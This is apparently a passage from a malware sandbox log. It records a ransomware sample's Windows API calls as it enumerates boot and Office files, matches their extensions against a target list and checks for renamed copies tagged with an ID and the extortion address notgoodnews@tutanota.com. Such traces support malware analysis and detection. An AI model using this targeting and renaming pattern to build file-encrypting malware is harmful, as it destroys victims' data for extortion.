(lpString1=".zip", lpString2=".mui") returned 1 [0195.448] lstrlenW (lpString=".rar") returned 4 [0195.448] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.448] lstrlenW (lpString=".bz2") returned 4 [0195.448] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.448] lstrlenW (lpString=".7z") returned 3 [0195.448] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.448] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0195.448] lstrlenW (lpString=".dbf") returned 4 [0195.448] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.449] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0195.449] lstrlenW (lpString=".1cd") returned 4 [0195.449] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.449] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0195.449] lstrlenW (lpString=".jpg") returned 4 [0195.449] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.449] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0195.449] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0195.449] lstrlenW (lpString=".doc") returned 4 [0195.449] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.449] lstrlenW (lpString=".docx") returned 5 [0195.450] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.450] lstrlenW (lpString=".pdf") returned 4 [0195.450] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.450] lstrlenW (lpString=".xls") returned 4 [0195.450] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.450] lstrlenW (lpString=".xlsx") returned 5 [0195.450] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.450] lstrlenW (lpString=".ppt") returned 4 [0195.450] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.450] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0195.450] lstrlenW (lpString=".zip") returned 4 [0195.450] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.450] lstrlenW (lpString=".rar") returned 4 [0195.451] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.451] lstrlenW (lpString=".bz2") returned 4 [0195.451] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.451] lstrlenW (lpString=".7z") returned 3 [0195.451] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.451] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0195.451] lstrlenW (lpString=".dbf") returned 4 [0195.451] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.451] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0195.451] lstrlenW (lpString=".1cd") returned 4 [0195.451] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.451] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0195.451] lstrlenW (lpString=".jpg") returned 4 [0195.451] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.452] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0195.452] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.452] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.453] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=90704) returned 1 [0195.453] CloseHandle (hObject=0x208) returned 1 [0195.453] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0195.453] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.453] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.454] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0195.454] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0195.454] lstrlenW (lpString=".doc") returned 4 [0195.454] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.454] lstrlenW (lpString=".docx") returned 5 [0195.454] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.454] lstrlenW (lpString=".pdf") returned 4 [0195.454] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.454] lstrlenW (lpString=".xls") returned 4 [0195.454] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.454] lstrlenW (lpString=".xlsx") returned 5 [0195.454] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.455] lstrlenW (lpString=".ppt") returned 4 [0195.455] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.455] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0195.455] lstrlenW (lpString=".zip") returned 4 [0195.455] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.455] lstrlenW (lpString=".rar") returned 4 [0195.455] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.456] lstrlenW (lpString=".bz2") returned 4 [0195.456] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.456] lstrlenW (lpString=".7z") returned 3 [0195.456] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.456] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0195.456] lstrlenW (lpString=".dbf") returned 4 [0195.456] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.456] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0195.456] lstrlenW (lpString=".1cd") returned 4 [0195.457] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.457] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0195.457] lstrlenW (lpString=".jpg") returned 4 [0195.457] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.457] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0195.457] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0195.457] lstrlenW (lpString=".doc") returned 4 [0195.457] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.457] lstrlenW (lpString=".docx") returned 5 [0195.457] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.457] lstrlenW (lpString=".pdf") returned 4 [0195.458] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.458] lstrlenW (lpString=".xls") returned 4 [0195.458] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.458] lstrlenW (lpString=".xlsx") returned 5 [0195.458] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.458] lstrlenW (lpString=".ppt") returned 4 [0195.458] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.458] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0195.458] lstrlenW (lpString=".zip") returned 4 [0195.458] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.458] lstrlenW (lpString=".rar") returned 4 [0195.458] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.459] lstrlenW (lpString=".bz2") returned 4 [0195.459] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.459] lstrlenW (lpString=".7z") returned 3 [0195.459] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.459] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0195.459] lstrlenW (lpString=".dbf") returned 4 [0195.459] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.459] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0195.459] lstrlenW (lpString=".1cd") returned 4 [0195.459] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.459] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0195.459] lstrlenW (lpString=".jpg") returned 4 [0195.459] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.460] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0195.460] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.460] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.461] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=76352) returned 1 [0195.461] CloseHandle (hObject=0x208) returned 1 [0195.461] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0195.461] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.461] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.462] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0195.462] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0195.462] lstrlenW (lpString=".doc") returned 4 [0195.462] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.462] lstrlenW (lpString=".docx") returned 5 [0195.462] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.462] lstrlenW (lpString=".pdf") returned 4 [0195.462] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.462] lstrlenW (lpString=".xls") returned 4 [0195.462] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.462] lstrlenW (lpString=".xlsx") returned 5 [0195.463] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.463] lstrlenW (lpString=".ppt") returned 4 [0195.463] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.463] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0195.463] lstrlenW (lpString=".zip") returned 4 [0195.463] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.463] lstrlenW (lpString=".rar") returned 4 [0195.463] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.463] lstrlenW (lpString=".bz2") returned 4 [0195.463] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.463] lstrlenW (lpString=".7z") returned 3 [0195.464] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.464] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0195.464] lstrlenW (lpString=".dbf") returned 4 [0195.464] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.464] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0195.464] lstrlenW (lpString=".1cd") returned 4 [0195.464] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.464] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0195.464] lstrlenW (lpString=".jpg") returned 4 [0195.464] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.465] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0195.465] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0195.465] lstrlenW (lpString=".doc") returned 4 [0195.465] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.465] lstrlenW (lpString=".docx") returned 5 [0195.465] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.465] lstrlenW (lpString=".pdf") returned 4 [0195.465] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.465] lstrlenW (lpString=".xls") returned 4 [0195.465] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.465] lstrlenW (lpString=".xlsx") returned 5 [0195.465] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.465] lstrlenW (lpString=".ppt") returned 4 [0195.465] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.466] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0195.466] lstrlenW (lpString=".zip") returned 4 [0195.466] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.466] lstrlenW (lpString=".rar") returned 4 [0195.466] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.466] lstrlenW (lpString=".bz2") returned 4 [0195.466] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.466] lstrlenW (lpString=".7z") returned 3 [0195.466] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.466] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0195.466] lstrlenW (lpString=".dbf") returned 4 [0195.466] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.466] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0195.467] lstrlenW (lpString=".1cd") returned 4 [0195.467] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.467] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0195.467] lstrlenW (lpString=".jpg") returned 4 [0195.467] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.467] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0195.468] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.468] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.468] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=75344) returned 1 [0195.468] CloseHandle (hObject=0x208) returned 1 [0195.468] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0195.469] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.469] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.469] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0195.469] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0195.469] lstrlenW (lpString=".doc") returned 4 [0195.469] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.469] lstrlenW (lpString=".docx") returned 5 [0195.469] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.469] lstrlenW (lpString=".pdf") returned 4 [0195.470] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.470] lstrlenW (lpString=".xls") returned 4 [0195.470] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.470] lstrlenW (lpString=".xlsx") returned 5 [0195.470] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.470] lstrlenW (lpString=".ppt") returned 4 [0195.470] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.470] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0195.470] lstrlenW (lpString=".zip") returned 4 [0195.470] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.470] lstrlenW (lpString=".rar") returned 4 [0195.470] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.470] lstrlenW (lpString=".bz2") returned 4 [0195.471] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.423] lstrlenW (lpString=".7z") returned 3 [0196.423] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.423] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0196.423] lstrlenW (lpString=".dbf") returned 4 [0196.424] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.424] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0196.424] lstrlenW (lpString=".1cd") returned 4 [0196.424] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0196.424] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0196.424] lstrlenW (lpString=".jpg") returned 4 [0196.424] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0196.424] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0196.424] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0196.424] lstrlenW (lpString=".doc") returned 4 [0196.425] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0196.425] lstrlenW (lpString=".docx") returned 5 [0196.425] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0196.425] lstrlenW (lpString=".pdf") returned 4 [0196.425] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0196.425] lstrlenW (lpString=".xls") returned 4 [0196.425] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0196.425] lstrlenW (lpString=".xlsx") returned 5 [0196.425] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0196.425] lstrlenW (lpString=".ppt") returned 4 [0196.425] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0196.425] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0196.426] lstrlenW (lpString=".zip") returned 4 [0196.426] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0196.426] lstrlenW (lpString=".rar") returned 4 [0196.426] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0196.426] lstrlenW (lpString=".bz2") returned 4 [0196.426] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.426] lstrlenW (lpString=".7z") returned 3 [0196.426] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.426] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0196.426] lstrlenW (lpString=".dbf") returned 4 [0196.426] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.426] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0196.427] lstrlenW (lpString=".1cd") returned 4 [0196.427] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0196.427] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0196.427] lstrlenW (lpString=".jpg") returned 4 [0196.427] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0196.428] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0196.428] lstrlenW (lpString="EEINTL.DLL") returned 10 [0196.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.429] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=64096) returned 1 [0196.429] CloseHandle (hObject=0x200) returned 1 [0196.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0196.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0196.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0196.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0196.432] lstrlenW (lpString=".doc") returned 4 [0196.432] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0196.432] lstrlenW (lpString=".docx") returned 5 [0196.432] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0196.432] lstrlenW (lpString=".pdf") returned 4 [0196.432] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0196.432] lstrlenW (lpString=".xls") returned 4 [0196.432] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0196.432] lstrlenW (lpString=".xlsx") returned 5 [0196.432] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0196.432] lstrlenW (lpString=".ppt") returned 4 [0196.433] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0196.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0196.433] lstrlenW (lpString=".zip") returned 4 [0196.433] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0196.433] lstrlenW (lpString=".rar") returned 4 [0196.433] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0196.433] lstrlenW (lpString=".bz2") returned 4 [0196.433] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0196.433] lstrlenW (lpString=".7z") returned 3 [0196.433] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0196.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0196.433] lstrlenW (lpString=".dbf") returned 4 [0196.434] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0196.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0196.434] lstrlenW (lpString=".1cd") returned 4 [0196.434] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0196.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0196.434] lstrlenW (lpString=".jpg") returned 4 [0196.434] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0196.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0196.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0196.435] lstrlenW (lpString=".doc") returned 4 [0196.435] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0196.435] lstrlenW (lpString=".docx") returned 5 [0196.435] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0196.435] lstrlenW (lpString=".pdf") returned 4 [0196.435] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0196.435] lstrlenW (lpString=".xls") returned 4 [0196.435] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0196.435] lstrlenW (lpString=".xlsx") returned 5 [0196.435] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0196.436] lstrlenW (lpString=".ppt") returned 4 [0196.436] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0196.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0196.436] lstrlenW (lpString=".zip") returned 4 [0196.436] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0196.436] lstrlenW (lpString=".rar") returned 4 [0196.436] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0196.436] lstrlenW (lpString=".bz2") returned 4 [0196.436] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0196.436] lstrlenW (lpString=".7z") returned 3 [0196.436] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0196.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0196.437] lstrlenW (lpString=".dbf") returned 4 [0196.437] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0196.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0196.437] lstrlenW (lpString=".1cd") returned 4 [0196.437] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0196.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0196.437] lstrlenW (lpString=".jpg") returned 4 [0196.437] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0196.438] lstrcmpiW (lpString1=".CNT", lpString2=".NEWS") returned -1 [0196.438] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0196.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0197.014] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=2557) returned 1 [0197.014] CloseHandle (hObject=0x228) returned 1 [0197.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0197.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0197.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft 